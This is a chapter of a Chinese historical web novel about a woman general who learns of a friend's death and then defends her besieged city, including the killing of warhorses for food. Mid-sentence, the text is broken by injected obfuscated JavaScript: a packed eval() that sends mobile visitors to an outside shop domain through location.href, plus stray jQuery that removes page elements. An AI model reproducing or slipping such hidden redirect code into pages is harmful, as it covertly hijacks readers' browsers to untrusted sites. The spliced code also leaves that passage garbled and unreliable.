两日后,齐术仍然没有收到任何消息。
“赵伯,他们可回城了?”
赵伯抬脚进府,蹙眉摇着头。
齐术站在院子里等,两日过去,再怎么慢回宫的人也该回来了,她盯着门口颇有些紧张不安。转身望向屋内,摇椅里阿金正在午睡,口水打湿了枕头,宫里来的丫头正在轻手擦拭。
凭着敬之的身份回宫自然无人敢拦,借用崇央的东西也都好说,到底是哪个环节出了岔子?
“将军!”
支都尉骑着马急匆匆停下,许是刹得太快,马匹差点把人给甩下来。齐术快速跑到门口,上前将他扶稳站定。
“支都尉,呈裨将和常姑娘呢?”
此话一出,支都尉垂眼,语气落寞:“将军,常姑娘她……”
齐术预感他的状态不对劲:“说呀,怎么了?”
“常姑娘……没了,村里人说,是不小心掉在河里溺死的。呈裨将赶回宫向官家报信去了……”
齐术笑意僵在脸上,瞧瞧这说得哪门子胡话?
“定是你二人在村里偷吃了酒,赵伯,快!给他熬碗醒酒汤,头脑清醒了再回话。”她说着便要回屋,却被支都尉一把拉住胳膊。
“将军!我没醉!常姑娘两年前便走了!”
齐术狠狠甩开支都尉的手,眼眶猩红:“我昨日刚收到阿甘的信,你说她走了,又是谁给我寄的信?!”
支都尉哑口,他和呈裨将在村子里都问遍了,哪怕是个不懂事的小娃娃也知道此事,不会有假的。
齐术猛地回书房,将木桌上那封信揣在怀中,又折返回来,半身一跃利落上马,朝邮驿疾驱去。
支都尉还没反应过来,一脸疑惑地看向赵伯。赵伯叹气,招手示意让他先进屋歇歇。
韶华城的邮驿地处偏僻,齐术迅速下马,直奔馆内。主事的看见齐术时两眼放光,生怕得罪了,两手搓着走上前:“将军今儿怎得空莅临,可是有需要在下的地方?”
齐术将信“啪”得一下拍在桌上,沉声问:“这封信,何人所寄?又是何时所寄?”
主事的唤来几名手下,眼神示意他们速速询查,回过头笑得谄媚:“将军且稍作等候,我这儿前些日子刚好有北地寄来的茶叶,将军尝尝。”
齐术抬头拒绝:“不必了,我等着便是。”
主事的见齐术不喝,也就没继续搭话。半柱香的时间过去,几名手下终于从藏信室内走了出来。
其中一名小伙先是对着齐术拱手作揖,随后说道:“将军,信从南岳村寄出,寄信人是位姑娘,但寄信人交了压钱,嘱咐必须到了她信上写好的时间才能寄出,将军今日拿来的这封信,是两年前存入库中的。”
脑海中猝然断弦,齐术已经分不清邮驿的人在说什么,两年前的信?!她收到的怎么会是两年前的信?!
难怪她摸着信纸的时候觉着太硬、太黄,原来是存放了许久导致的。她怎么没想到,阿甘向来喜爱干净,用来写信又怎么如此粗劣呢?
“她,可还存有其他的信?”齐术的声音带着颤抖,噎住嗓子,话讲得难受。
小伙立刻点头道:“有的,那位姑娘一共写了十五封信,有十封已寄往北地,一封在将军手中,还剩四封没到约定的时间,暂不便取出。”
……
齐术牵着马缓慢游荡在大街上,百姓们都热情地向她问好,但此刻的她只能麻木地点头回应。
穿过人群中,熙熙攘攘来往的繁华,却始终跟不上那年阿甘陪她在御花园中种下的海棠惹人眼。
可惜后来天公不作美,许多海棠总是长不好,风卷过,唯有一支尚存。自那后,她与阿甘便将那束棠枝当作对彼此心照不宣的关切。
出发前往南岳时,阿甘说,若哪日这最后的棠枝亦不在,便是她决定要回来了……
回到明心府的时候,赵伯与支都尉站在门口等着,齐术并未感知到一抹滚烫,直至低落在颈窝处,才恍然擦去。
“将军,马交给我吧。”赵伯从齐术手中牵过马,拉到马棚喂食。齐术与支都尉擦肩而过的时候,院内传来小孩儿银铃般的笑声。
“支都尉。”
“将军有何吩咐!”
“别站着了,进屋吃些茶水和果子吧。”说罢,齐术抬脚进入府中。
支都尉一愣,眸中水光扑闪:“属下领命。”
“嗑嗑嗑嗑嗑,萱、萱、球球!”小公子露出几颗乳牙,被逗得直笑。
孟萱将竹球轻轻滚过去,小阿金眼疾手快地用脚挡下,拿起来又丢给她。
“小公子真厉害!”
“嗑嗑嗑嗑嗑——”小家伙笑得更大声了。
齐术与支都尉一前一后地走着,快到院中时,小辰金滴滴答答踩着步子跑过去,一下扑在母亲怀里。
“阿娘!”
齐术蹲下身,想在孩子面前挤出一个微笑,却无论如何也动弹不了。
阿甘离宫的那年,曾来韶华看过她,知晓她怀有身孕的那一刻,别提有多激动,阿金如今已两岁半,本想待阿甘回来后再让孩子见见,可惜,再也没有机会了。
“阿娘?”
齐术费力弯眼,摸了摸小辰金的发顶,说:“去和萱姐姐玩儿吧,阿娘回书房有事要办。”
小辰金似乎能感知到母亲的脆弱,乖巧地点头,转身扭屁股找孟萱去了。
回到书房后,齐术将袖间的信抽出,指尖一遍又一遍摩挲在泛黄的字迹上。赵伯望着屋内的人,默默把书房的门关上,将小公子带到后院,支都尉看了一眼书房的位置,低头跟着。
不时,书房内传来低声的抽噎声。
太阳已落半,明心府迟迟未归的将士终于回来了。数匹慌乱无措的马蹄声,引起城内躁动不安,赤红染了半边天,头顶的颜色红得像是在滴血一般。
“戒备——全城戒备!”
“将军!将军边关急报!”王参军和呈裨将迅速下马,奔跑至府中报信。
齐术被门外的喧闹声点醒,推开门走出来,便见门口两位将士神情紧迫。
“出了何事?孙副将呢,为何没有与你们一起回来?”
王参军掀开斗篷,单膝一跪:“将军!战线来报,敌邦此次攻势猛烈,边关三城已沦陷,大军当下正朝着韶华城举进!”
呈裨将看着齐术:“朝廷收到边关战报,孙副将和王参军火速遣返,半路上遇见,孙副将命我二人先行一步,他折回宫将常姑娘的讣告带给官家。”
齐术面色瞬间凝重,转念回言:“立刻吩咐全营做好充备,粮仓尽数清点,召集玄鹰军,齐力应战!”
“是!”两位将士领命,转身离开。
赵伯从后院连忙跑到前院来:“将军,又要打仗了?!”
齐术侧过身:“赵伯,你在此等候敬之,若他拿回半卷志册,务必要保管好!”
“将军放心,我一定办到。”
赵伯将小公子唤来,小家伙玩累了,正躺在孟萱怀里呼呼大睡。
“将军。”孟萱靠近,以为齐术想要抱抱孩子,正准备将孩子送过去。
“若将他惊醒,我不方便离开。”齐术摇了摇头,对孟萱说,“萱姑娘,这几日辛苦了,母妃将你派来想必是信任的,战事一旦触发,没有回弩之箭,倘若我有什么意外,阿金便交给你与赵伯了。”
“将军!不会的!”孟萱着急打断。
赵伯拍了拍她的肩膀,苦笑着说:“丫头别紧张,这是咱们将军的老规矩,将士们每一次迎战前都会给家中人留下嘱托,放心吧,此仗定能凯旋归来!”
齐术浅笑,轻抬下巴。
齐敬之终于将常姑娘的消息带入宫中,意料之外的,竟是齐征的态度。
“官家!您听清楚了吗?常姑娘没了!”
常甘与齐术交情甚好,他们四个说是一同长大也不为过,就连他都感到悲痛不已,更何况齐术与齐征,可为何——官家失去挚爱后,说出口的只有一句冰冷至极的话。
“孤知道了,剩下半卷志册呢?常甘有无寄回?”
齐敬之低头,都说帝王心难测,齐征,早就不是年少时的崇央了。
“暂无任何音讯,常姑娘一走线索便断了,应当很难寻回。”
台上之人戴的玉扳指一下又一下敲击在龙椅上,神情不显。半晌,才开口道:“五弟,边关战事有异,阿姊身边还需要你,孤乏了,退下吧。”
“官家,上卷志册您还未借给臣!”
齐征刚站起身,回头瞥了一眼:“转告阿姊,任何之物都可以,唯有志册,孤实在无法相借。”
“事关无数将士生死,烦请官家深思!”
“孤自会派人处理,定然将此事查个明白。”眼见齐敬之还想说什么,齐征立即阻止,“行了!孙副将,回韶华吧。”说罢,他转身进入帘内,背影消失在大殿上。
待他空手而归时,远远便见着门口等候的赵伯。
“赵伯,您怎么在这儿?!”
“孙副将,你终于回来了,发生了何事,可是有人故意阻难?”孙响前往北地来回花费了足足十日,若不是因何又岂会这么久。
“没有赵伯,是我宫中有事耽搁了些时日。”孙响不能说,他为了求得官家答应,在养心殿硬生生跪了两日,太妃怜惜,任凭怎么劝,官家都不肯松口,到最后依然没能达成所愿,眼见战事吃紧,他不得不放弃志册赶回来。
“赵伯,志册……我没能拿回来,让将军失望了。”
赵伯心中一震,他也料到帝王如今这般心狠,但转念又一想,也大概能明白。“无妨,快进屋吧,喝口热汤歇歇。”
孙响一把拉住赵伯的手:“多谢赵伯,战事如何了?”
“士兵前来报信,前些日夜里,敌军突袭,两方对峙焦灼。”
孙响点头,又接着问:“将军呢?”
赵伯抬头看了眼天色:“带领先锋队突围,具体情况尚未得知。”
孙响没有犹豫正准备扭转马头直奔城门,大街上却突然响起一阵惊叫:
“赢了、玄鹰军赢了!”
“敌军撤退了!战事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894101|212807||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
结束了!”
月隐下,夜色渐深,轮流驻守城墙的将士们一圈又一圈的巡逻,生怕漏过一丝可疑。
齐术站在城墙上,向远处眺望敌军的状况,忽而眼底一片密密麻麻的东西正在朝着他们的方向前进。
“将军!”一名将士匆忙报信,“是敌军突袭!”
齐术皱眉,深夜月色较暗,人影都看不清,敌军这时候进攻是想干什么?!
“全军备战!一营、四营,由我带领前锋突围,二营、三营交给王参军排兵布阵,五营把给我城门守好了,一只老鼠也不允许放进去!”
一众将士单膝跪地,语气高昂:“得令!”
齐术转身喊:“呈裨将!”
呈裨将立刻上前:“属下在!”
“给府中传信,问孙副将何在,这仗他还打不打了?!”
“是!”
月高挂却始终不肯显色,被云层厚厚地包裹住,紧紧缠绕,用尽全力也无法剥离,终将难耐。
城内几道鬼鬼祟祟隐藏在黑暗中的身影,正在缓慢地逼近粮仓的位置,没一会儿,粮仓燃起熊熊大火,火光照亮了半边天。
齐术发现城中出现奇异的光亮,正当疑惑时,一名士兵慌张跑了过来。
“不好了将军,咱们的粮营被一把火烧空了!”
齐术死死盯着士兵,眼神惊恐:“怎么回事?!看管粮营的士兵呢?!”
“都被人下了蒙汗药,有一位醒来时火已经烧到身上,死了。”
“混账羔子!敢玩儿阴的!”齐术气得捶墙,没有粮草,哪怕再精壮的军队,也只能活活等死,“赶紧向朝廷求拨军粮,一定要快!”
“是、是!”士兵急忙动身。
不对!齐术沉下心来,五营的防盾她心里是知道的,尸体都不会放过,更别提一个活生生的人,想要溜进去,绝不可能。粮营的大火难道是……
齐术眸中一亮,刹那间满眼怒火。“一群该死的家伙,为了私利要将在场所有将士害死不成?!”
大半夜,敌军来得突然,城中的百姓本已安睡,却被兵刃相撞和来势汹汹的大火给吵醒。天边鱼肚泛白,粮营的大火已被官兵和主动帮忙的百姓们扑灭。
一夜过去,玄鹰军以三百精兵对抗三千敌军的战况传入城中,百姓们再也没有往日的自豪,敌我差距悬殊,心中只有无尽的担忧。
接连四日,齐术带领的先锋营被一众敌军严丝合缝地围困住,派来对付他们的便达到上千名,就像是敌方提前得知他们的战术一般,将全部重心放在冲锋将士身上,丝毫不顾突破城门。
为什么?
眼下夜色渐深,敌军稍作休整,她骑在马上回望身后的弟兄们,大多将士的脸上挂了彩,有的,缺胳膊断腿仍在咬牙坚持。
军中最后一点干粮吃得连残渣都不剩,朝廷拨粮却迟迟未到,装备的水也已耗尽,将士们不吃不喝险些连兵器都拿不稳,这样下去怎么行!
齐术合上眼,缓缓吐气,不及片刻,大声吼:“玄鹰军听令!”
身后的将士们齐刷刷抬头盯着顺宁将军。
“军粮未至,生死一线,为了身后的百姓,为了家国,这一战,再难、再痛、再没有希望、再伤亡惨重,我们也必须赢!一定赢!”突然,齐术停顿下来,声音哽咽,“一刻钟后,大家杀两匹战马,充饥,以便接下来作战。”
话音刚落,一营、四营全体怔在原地,没有一个人敢相信将军在说什么。
“将军不可!私杀战马是要杀头的!”
一位小伙独着一条腿被身旁的人扶起来,其余将士听见后,也纷纷附和。
“是啊将军!不能这么干!”
“没了战马,我们相当于自断两臂啊!”
“请将军三思!”
“万万不可!我还能忍!扛得住!”
……
齐术能够想到此般,她要紧牙关,手藏在背后捏得发紫,沙哑着嗓音,坚定地说道:“这是军令!出了事,由我的项上人头作保。但现在首要做的,是活下去!华禹的将士,可以战死沙场,可以血洒边疆,唯独不能被活活饿死,自取灭亡!”
语毕,四下沉寂。
营中年龄最长的老兵此时牵着他的马走出来。他眉眼笑着摸了摸马头,缓声说:“这匹驹陪了老夫十余年,算算日子它也老了,此世缘分已尽,来世再陪老夫征战沙场。”
老兵转身对齐术拱手作揖:“将军,这第一匹马,老夫来。”
齐术将脸侧过去,不愿看,众人皆低着头,老者抱着马,泪滑落在棕色的毛上,马似乎也感应到逃不掉的结局,眼眶中的泪水砸在沙地上。
沉默了许久后,抽出长剑,绕过马颈,三五下利落地砍下,马头即刻落地,发出沉重的哐当响。
老者双手捧起马头,不顾鲜血将盔甲浸透,脸紧紧地贴在上面,呢喃着家乡的悼词:“嗟乎!生,万般莫辞,亡,无以姑息。灵长岁,物初元,忆昔往,不可得!今劫遇,赴命果,汤汤流水,滔滔不绝,气转世回,留余念、终相见!”